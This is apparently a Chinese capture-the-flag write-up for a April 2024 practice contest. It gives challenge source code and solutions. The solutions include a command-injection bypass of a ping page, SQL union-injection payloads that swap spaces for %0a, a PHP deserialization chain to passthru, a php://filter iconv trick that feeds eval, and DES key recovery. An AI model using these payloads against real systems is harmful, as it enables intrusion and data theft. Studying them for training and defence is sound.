人文练习赛20240421wp(web-crypto)

web

ping(20240421)

题目源码参考:

<?php
    if (isset($_POST['ip'])) {
        $input = $_POST['ip'];
        $rep = array('&',';',' ','$');
        $input = str_replace($rep, '', $input);
        $command = "ping -c 4 $input";
        $output = shell_exec($command);
        echo "<pre>$output</pre>";
    }
    ?>

题解:

首先输入一个正确的ip或域名,会出现如下回显。

这里我不在进行黑盒测试,通过上面的源码,这几个符号被过滤。(做题时没有源码,需一个一个测试)

'&',';',' ','$'

但过滤不严格,我们可以通过'||'来进行绕过。(前提条件,在前一个命令执行错误时执行后一个命令)

playload:

查看目录
111||ls

查看flag(由于过滤了空格,所有用{command,param}方式。还有${IFS}等都可以绕过空格。)
111||{cat,fl4g_1s_te8t.php}

最后查看网页源代码即可获取flag

sql(20240421)

本题源码展示。(做题时没有)
<?php
error_reporting(0);
include('sql-connet.php');

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die($conn->connect_error);
}
$user_id = $_GET['user_id'];
if(!isset($user_id)){
    echo "<center>input get user_id......</br></center>";
    exit();
}
$user_id = str_replace(' ','',$user_id);
$user_id = str_replace('*','',$user_id);
$user_id = str_replace('-','',$user_id);
$user_id = str_replace('\'','',$user_id);
$sql = "SELECT username,password FROM `users` WHERE id=\"$user_id\" limit 0,1";
echo "<center>SQL query:".$sql."</center>";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
    $row = $result->fetch_assoc();
    echo "<center></br>username: " . $row["username"]."</br></center>";
    echo "<center></br>password: " . $row["password"]."<center>";
}

$conn->close();
?>

打开题目首先看到

input get user_id......

所有按要求在url栏用get提交一个?user_id=1。得到如下结果

 更具SQL query我们得知了题目的sql语句:?user_id=1" order by 4%23

 但结果为,空格不见了,得知过滤了空格。

SQL query:SELECT username,password FROM `users` WHERE id="1"orderby4#" limit 0,1

后面的更具上面的源码可得到过滤的字符,这里不再测试了。直接上playload

空格我们用%0a来进行绕过,还有其他的,自查。

爆字段(<=正确字段有回显,>则没有回显)
?user_id=1"%0aorder%0aby%0a2%23

爆库名
?user_id=999"%0aunion%0aselect%0a1,database()%23
得到库名security

爆表命
?user_id=999"%0aunion%0aselect%0a1,(select%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema=database())%23
得到表明FLAG,emails,referers,uagents,users

爆字段
?user_id=999"%0aunion%0aselect%0a1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name="FLAG")%23
得到字段f4lg

爆数据
?user_id=999"%0aunion%0aselect%0a1,(select%0af4lg%0afrom%0aFLAG)%23
得到flag为yami{sqi_very_easy_123456admin}

此题方法很多,也可以试试sqlmap 

ser(20240421)

<?php
/** php version 5.6
 * flag in ./flag.php
 */
highlight_file(__FILE__);
error_reporting(0);
class W1nner{
    public $h1;
    public $h2;

    public function __destruct()
    {
        $this->h1->serser($this->h2);
    }
}

class err0r{

    public function __call($name,$args){
        print($args[0]['cbkyami']);
    }
}

class yami{
    public $cmd;

    public function __toString(){
        passthru($this->cmd);
    }
}

unserialize($_GET['yami_yami.yami']);

?>

php反序列化,读源码可得,用get提交一个 

?yami[yami.yami

但在php变量里,不允许出现"_",根据提示php version 5.6,小于8(记不清了)。

php会把"["解析成为"_",且后面的保持不变,所有在这里我们输入

yami[yami.yami

绕过限制。

接下来就是构造pop链:

读源码可知,我们需要执行passthru($this->cmd);

我们只要(php魔术方法这里不展开谈)

W1nner->h2->err0r->__call->yami->__toString

playload: 

<?php
 
class W1nner{
    public $h1;
    public $h2;
 
}
 
class err0r{
}
 
class yami{
    public $cmd='cat ./flag.php';
}
 
$a=new W1nner();
$a->h1=new err0r();
$a->h2=['cbkyami'=>new yami()];
 
echo serialize($a);

输入以下playload,查看源代码即可获取flag 

?yami[yami.yami=O:6:"W1nner":2:{s:2:"h1";O:5:"err0r":0:{}s:2:"h2";a:1:{s:7:"cbkyami";O:4:"yami":1:{s:3:"cmd";s:14:"cat ./flag.php";}}}

 base_cover(20240421)

<?php
error_reporting(0);
highlight_file(__FILE__);

function waf($waf){
    if(preg_match_all('/base64/',$waf)){
        return $waf;
    }else{
        return 0;
    }
}

function waf2($cmd){
    $replace_chars = array('flag', 'cat', 'tac', 'more', 'less', '*','$','nl', '\'');
    foreach ($replace_chars as $char) {
        $cmd = str_ireplace($char, "", $cmd);
    }
    return $cmd;
}

$name = waf($_GET['name']);
$yami = $_GET['yami'];
if(isset($name)&&isset($yami)){
    $content='ctf_intersting_ctf'.$yami;
    if ($name!==0){
        file_put_contents("$name.txt",$content);
    }
    $tmp = file_get_contents('system.txt');
    echo $tmp."</br>";
    $cmd = waf2(waf2($_GET['cmd']));
    echo $cmd;
    if ($cmd){
        eval($tmp($cmd));
    }
    file_put_contents("system.txt","");
}
?>

审计代码,找到我们的利用点在eval()函数 

两个waf比较简单,第一个为检测我们输入是否含有base64关键字,第二个就是将$replace_chars有的关键字进行替换为空。

file_put_contents("$name.txt",$content);

将$content的内容写入文件中,内容为ctf_intersting_ctf+我们通过$yami输入的值,而文件名则为$name输入的值。

$tmp = file_get_contents('system.txt');

eval()里面有两个变量,分别为$tmp、$cmd,毋庸置疑我们需要构造一个能执行系统命令的函数。如system()、passthru、exec等等。

唯一的问题就是,$tmp的获取是通过上面函数读取,但里面有一个无用的值,'ctf_intersting_ctf'。

这里我直接给出如和绕过的playload:(原理可以自查)

<?php
$a='system';
$a=iconv('utf-8','utf-16',base64_encode($a));
$a=quoted_printable_encode($a);
echo $a;
name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=system
yami=FF=FEc=003=00l=00z=00d=00G=00V=00t=00

 即可将我们想执行的系统命令函数上传,将原来的值清空。

最后的cmd就很简单了,可以用双写绕过,但需要写两次,因为被两个waf包裹

cmd=caccatatt flflflagagag.php

这样即可获取flag,也许查看源代码

crypto

login_ctfd.othing.xyz(20240421)

此题没有什么好说的,简单

md5(123456xxxsu789)=ce07a3bc116a4d6d7a7b285954e246bd

只需要爆破xxx即可(因为比较简单,计算量不大)

<?php
$b='ce07a3bc116a4d6d7a7b285954e246bd';
for($i=32;$i<128;$i++){
    for($j=32;$j<128;$j++){
        for($k=32;$k<128;$k++){
            $c=chr($i).chr($j).chr($k);
            $a="123456$c"."su789";
            if(md5($a)==$b){
                echo $a;
                exit;
            }
        }
    }
}
123456md5su789

提交后在url栏即可看到flag

des(20240421)

from Crypto.Cipher import DES
from Crypto.Random import get_random_bytes
from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime

key = long_to_bytes(getPrime(64))
iv = get_random_bytes(8)
print('acc:', bytes_to_long(key)*bytes_to_long(iv))

m = 'flag{xxxxxxxxxxxxxxxxxxxxxx}'
plaintext = (m + (8 - len(m) % 8) * '1')
cipher = DES.new(key, DES.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext.encode())
print("c:", ciphertext)

'''
acc: 44002867044872067088796889440883670814
c: b'\xfe\xc6\xb8\xc1\xedgE \x86\xec7\xf1\xa80\x033\x0eM\xeb\xcc\xe8|\xecV\xabC0\x8cX\x06bv\xc5 \x07<w\xb9\xb2\xfe'
'''

关键点就在于acc 

他的计算方式是一个64位的素数*随机8字节的iv

那么我们只需要把acc进行分解就能得到key和一堆iv的因子,将除了key的所有数相乘就是iv。

在线素因数分解factordb.com,也可以用yafu来进行

我这里用的yafu
P1 = 2
P4 = 1931
P8 = 75839683
P8 = 11789131
P20 = 12743549263990679789

完整的playload:

from Crypto.Cipher import DES
from Crypto.Util.number import long_to_bytes

acc = 44002867044872067088796889440883670814
c = b'\xfe\xc6\xb8\xc1\xedgE \x86\xec7\xf1\xa80\x033\x0eM\xeb\xcc\xe8|\xecV\xabC0\x8cX\x06bv\xc5 \x07<w\xb9\xb2\xfe'
P1 = 2
P4 = 1931
P8 = 75839683
P9 = 11789131
key = 12743549263990679789
assert P1 * P4 * P8 * P9 * key == acc# 验证一下
key_hex = long_to_bytes(key)
iv = P1 * P4 * P8 * P9
iv_hex = long_to_bytes(iv)
decrypto = DES.new(key_hex, DES.MODE_CBC, iv_hex)
m = decrypto.decrypt(c)
print("m:", m)
m: b'flag{des_Function_encrypto_decrypto}1111'

  • 28
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值